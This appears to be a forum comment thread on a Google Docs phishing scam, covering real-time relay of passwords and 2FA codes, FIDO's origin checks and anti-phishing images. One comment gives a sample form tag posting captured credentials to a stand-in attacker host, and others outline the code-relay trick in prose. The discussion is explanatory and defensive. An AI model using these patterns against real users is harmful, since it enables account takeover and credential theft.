Google Docs Users Targeted by Phishing Scam
symantec.com
symantec.com
Now all you can hope is that Google notices the source IP or user-agent of the attacker doesn't match up with the user's usual pattern.
This all changes if they are targeting a specific individual, or if one day everyone has 2FA enabled.
None of this has anything to do with cross-site scripting. It's a MITM attack. CSRF doesn't come into play.
Here, the real form can be accessed from the attacker's browser, not the victim's, hence the attacker knows the CSRF tokens. CSRF doesn't protect against phishing.
I'd assume there's CSRF on the login page, hence why I said: "hope ... Google notices the source IP or user-agent of the attacker"
Non-phishable two-factor auth token: http://fidoalliance.org/
See presentation: https://docs.google.com/a/google.com/presentation/d/16mB3Npt...
See: https://docs.google.com/a/google.com/document/d/1MBxYZ9C51t9...
If you're logged into a Google Apps domain it will change the google.com to match your domain. If you're logged into a regular Google account it will remain as google.com.
But don't necessarily trust links inside that doc...
1) Online service challenges the user to login with a previously registered device that matches the service's acceptance policy.
2) User unlocks the FIDO authenticator using the same method as at Registration time.
3) Device uses the user's account identifier provided by the service to select the correct key and sign the service's challenge.
4) Client device sends the signed challenge back to the service, which verifies it with the stored public key and logs in the user.
What's to stop an attacker from putting up a phishing page like this, MITM the username/password, forwarding the service's challenge back to the end-user?
I'm going to guess the trick is that the end-user browser has some way to know where the signed challenge should be POSTed for a given service, e.g. by baking that into the "account identifier" used in Step 3. So an attacker can try to MITM the account identifier, but the signed challenge would always be sent directly to the service bypassing the attacker. I'll have to check out the spec...
Every FIDO request has an AppID which is the service you are registering for, and it's an HTTPS URI.
When you resolve (HTTPS GET) the AppID, it returns a list of "FacetIDs" which are basically the different channels/endpoints which you can trust sending an authentication response. No more than one of those channels may be a 'Web Origin' facet. "In the Web case, the facetID is the Web Origin [RFC6454] of the web page triggering the FIDO operation". Examples of a non-web facets are "android:apk-key-hash:2jmj..." or "ios:bundle-id:com.acme.app"
While processing an authentication request, the FIDO client must;
o Obtain FacetID of the requesting Application. Resolve AppID URI and make sure that this FacetID is listed in TrustedApps.
- If FacetID is not in TrustedApps – reject the operation
The FIDO client will embed the FacetID it used as part of the signed response it sends back to the server.
The authentication response can optionally contain TLS channel binding information, which the server can use to try to detect MITM (although there can be false positives depending on your network). It also looks like a MITM may be able to use a specially crafted certificate to ensure channel binding information is not usable by the FIDO client.
The final step on the FIDO client in the spec is simply: "Send [xyz]Response message to FIDO Server".
So in summary, it looks like the response channel can be DYNAMIC -- I can ask your FIDO Client to send an authentication response from a different URL than the one you used when you enrolled, but the domain I ask from has to be listed in the response provided by HTTPS GET of the AppID.
The haven't found where spec says exactly how the facet ID should be matched up against the string array returned by resolving the AppID. It appears the full path is undefined and left to the control of the attacker. So a FacetID of https://www.google.com would allow an authentication response to be sent to https://www.google.com/a/domain.com/...
Consider if you called someone up and told them your password, and then gave them an up-to-date number from your OTP generator.
Except instead of calling them up, you're entering it into a fake web page. Certainly the login you just made would not work when you opened up gmail in another window, but all necessary information would have been given to the attacker.
I don't know if there's some way of login in through google api's as soon as the user enters the user and password. Also im almost sure that google requires you to enter the code via a form that is provided by them (as a google url). So im thinking something like loggin in to google using server side code and somehow using the code that the user provides to enter into google form (that will be displayed on the server side).
Im still not sure if there's any way of doing this using code. If there's no way of doing it using code then the attacker should be fast enough to use your logins and token in less than 30 seconds (or even less when the code is entered later). So it reduces the chances to get attacked a lot.
The first bit: It starts by asking for a username+pass and it uses javascript to async-post it. The evil server then tries to login to google. If google returns that a 2FA is needed it prompts for it.
I have no clue what you mean by "through google's api"... An attacker does not have to follow an api. Anything the user can do with their browser, the attacker an imitate on a remote server. Absolutely anything except source ip.
Your entire "no way of doing this using code" makes no sense at all. Posting data is something that can easily be done programmatically. Posting data through a middleman is similarly easy.
The only way that 2FA helps (edit: as alcari points out, this doesn't help much) is that the attacker can't change your password because on initiating that, I believe google asks for another 2FA code, and I don't think the attacker could reasonably expect to get you to enter two 2FA in a row. It also does make it harder for the attacker to code it up, but it's not even that much harder.
Just tell the user the first one failed, and ask them to enter another.
Sign in using backup codes: https://support.google.com/accounts/answer/1187538?hl=en
The algorithm is fairly straightforward and does not require internet connectivity (through mathematical magic).
One technique that might help is to make user choose a picture during account registration. During login show that picture, if user does not see correct picture he would suspect something.
It does not have to be picture, could be style or background of login component.
Of course the problem with that approach is when you're using different browsers, the image will be different every time.
Maybe a solution would be:
- ask user for username only - set cookie based on username - show image associated with account - ask for password
That should theoretically work on every browser and protect against cross-site requests. Of course this method has its own caveats though.
Edit: never mind. I hadn't thought it through. Of course the attacker can send your username through their page and fetch the image then display it. So the only approach I can think of that would work is tying the image to a browser rather than an account.
Unless attackers compromised your email they will not be able to obtain secret picture.
Such a verification image makes the MITM attack a bit harder to code, but not really by much, and in the process might introduce an increased false sense of security.
What prevents this "www" Blogger user from mounting a phishing attack?
I might be missing something, but how does this part work?
Is it because the document in the Google Drive folder is actually a html document that the browser is loading (and executing javascript of)?
Using something like:<form action="somebadsite.com/script.php">
So the credentials entered get submitted to the form which is sent via POST request to an external server. From there they can do whatever they want with the credentials (perhaps save them to a db) then redirect back to google docs.
Or it could be trough JavaScript which would Ajax the data to the external site.
How?